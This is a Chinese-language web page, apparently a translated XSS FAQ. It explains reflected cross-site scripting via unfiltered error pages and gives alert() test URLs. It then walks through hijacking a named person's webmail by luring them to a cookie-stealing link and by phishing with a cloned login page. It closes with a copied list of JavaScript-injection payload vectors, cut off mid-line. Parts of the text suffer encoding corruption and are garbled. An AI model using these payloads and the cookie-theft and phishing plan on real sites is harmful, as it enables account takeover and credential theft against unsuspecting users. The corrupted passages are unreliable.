么是跨站腳本(CSS/XSS)? |
我們所說跨站腳本是指在遠(yuǎn)程WEB頁面的html代碼中插入的具有惡意目的的數(shù)據(jù),用戶認(rèn)為該 頁面是可信賴的,但是當(dāng)瀏覽器下載該頁面,嵌入其中的腳本將被解釋執(zhí)行, 有時(shí)候跨站腳本被稱為"XSS",這是因?yàn)?quot;CSS"一般被稱為分層樣式表,這很容易讓人困惑, 如果 你聽某人提到CSS或者XSS安全漏洞,通常指得是跨站腳本。 XSS和腳本注射的區(qū)別? 原文里作者是和他一個(gè)朋友(b0iler)討論后,才明白并非任何可利用腳本插入實(shí)現(xiàn)攻擊的 漏洞都被稱為XSS,還有另一種攻擊方式:"Script Injection",他們的區(qū)別在以下兩點(diǎn): 1.(Script Injection)腳本插入攻擊會(huì)把我們插入的腳本保存在被修改的遠(yuǎn)程WEB頁面里,如 :sql injection,XPath injection. 2.跨站腳本是臨時(shí)的,執(zhí)行后就消失了 什么類型的腳本可以被插入遠(yuǎn)程頁面? 主流腳本包括以下幾種: HTML JavaScript (本文討論) VBScript ActiveX Flash 是什么原因?qū)е乱粋€(gè)站點(diǎn)存在XSS的安全漏洞? 許多cgi/php腳本執(zhí)行時(shí),如果它發(fā)現(xiàn)客戶提交的請求頁面并不存在或其他類型的錯(cuò)誤時(shí), 出錯(cuò)信息會(huì)被打印到一個(gè)html文件,并將該錯(cuò)誤頁面發(fā)送給訪問者。 例如: 404 - yourfile.html Not Found! 我們一般對這樣的信息不會(huì)注意,但是現(xiàn)在要研究CSS漏洞的成因,我們還是仔細(xì)看一下。 例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html 該URL指向的連接是有效的,但是如果我們把后面的downloads.html替換成brainrawt_owns_ me.html ,一個(gè)包含404 - brainrawt_owns_me.html Not Found! 信息的頁面將反饋給訪問者的瀏覽 器。 考慮一下它是如何把我們的輸入寫到html文件里的? OK,現(xiàn)在是我們檢查XSS漏洞的時(shí)候了! 注意:下面僅僅是一個(gè)例子,該頁面存在XSS漏洞,我們可以插入一寫javascript代碼到頁面 里。當(dāng)然方法很多 www.somesite.tld/cgi-bin/program.cgi?page=<script>alert(*XSS_Vuln_Testing*)</sc ript> 當(dāng)我們提交這個(gè)URL的時(shí)候,在我們的瀏覽器中彈出一個(gè)消息框,"XSS_Vuln_Testing"? 這個(gè)例子只是一個(gè)XSS漏洞的簡單演示,并無實(shí)際意義,但足以說明問題所在。 下面我們分析一下造成該運(yùn)行結(jié)果的原因,program.cgi對我們的輸入沒有經(jīng)過有效過濾處理 , 就直接寫入404 error頁面中,結(jié)果創(chuàng)建了一個(gè)頁面,如下: <html> <b>404</b> - <script>alert(*XSS_Vuln_Testing*)</script> Not Found! </html> 其中的javascript腳本通過瀏覽器解釋執(zhí)行,然后就出現(xiàn)了你所看到的結(jié)果。 如何利用XSS來完成*ing? 如同前面所提到,如果用戶提交的請求不能得到滿足,那么服務(wù)器端腳本會(huì)把輸入信息寫入 一個(gè) html文件,當(dāng)服務(wù)器端程序?qū)懭雋tml文件的數(shù)據(jù)沒有進(jìn)行有效過濾,惡意腳本就可以插入 到 該html文件里。其他用戶瀏覽該連接的時(shí)候腳本將通過客戶端瀏覽器解釋執(zhí)行。 事例: 假設(shè)你發(fā)現(xiàn)myemailserver.tld有CSS漏洞,你想要獲得其中一個(gè)人的email帳號,比如我們的 目標(biāo)是b00b這個(gè)人。 www.myemailserver.tld/cgi-bin/news.cgi?article=59035 把上面存在CSS漏洞的連接修改一下: www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red 這會(huì)創(chuàng)建了一個(gè)錯(cuò)誤頁面,我們得到如下信息: Invalid Input! [article=hax0red] 當(dāng)插入下面這樣的javascript代碼時(shí),你的屏幕上會(huì)彈出一個(gè)包含test的消息框。 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert(*test*)< /script> <script>并沒有打印到屏幕上,它是隱藏在背后執(zhí)行,由于服務(wù)器端程序并沒有對 <script>alert(*test*)</script>進(jìn)行有效過濾,所以在頁面發(fā)回到瀏覽器并執(zhí)行了該腳本 。 下面我們瞧瞧如何利用該漏洞入侵 b00b同志的郵箱,首先你必須知道b00b的email地址, 并且知道cookies的作用。那么你可以告訴b00b一個(gè)惡意的連接,嘿嘿,當(dāng)然 它的用意就是從b00b機(jī)器中cookie信息里獲得自己想要的東東。 想辦法讓b00b訪問myemailserver.tld站點(diǎn)發(fā)表的文章,比如說:”親愛的b00b,看看這個(gè)美 女 如何呀?” 那么當(dāng)可憐的b00b訪問 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取 并保存cookie的腳本 </script> 連接時(shí),發(fā)生什么事情?cookie都有了,你該知道怎么辦了吧! 如果在你目前不是這樣的情形,你可以拷貝email服務(wù)器的登陸頁面,掛到其他的系統(tǒng)上, 然后引導(dǎo)用戶登陸你的惡意系統(tǒng)頁面 這樣用戶信息你可以記錄下來,然后再把記錄的信息發(fā)送回真正的email服務(wù)器頁面, 那些笨蛋并不會(huì)意識到實(shí)際發(fā)生的事情。 把javascript腳本插入WEB頁面的不同方法: <snip> 拷貝自:GOBBLES SECURITY ADVISORY #33 Here is a cut-n-paste collection of typical JavaScript-injection *s you may derive some glee from playing with. <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="/javascript:[code]"> <img dynsrc="/javascript:[code]"> [IE] <input type="image" dynsrc="/javascript:[code]"> [IE] <bgsound src="/javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src="/&";{[code]};> [N4] <link rel="stylesheet" href="/javascript:[code]"> <iframe src="/vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="/livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(/javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[co
上一篇:
圖片輪顯的代碼
下一篇:
跨站腳本攻擊(XSS)FAQ
相關(guān)新聞推薦
|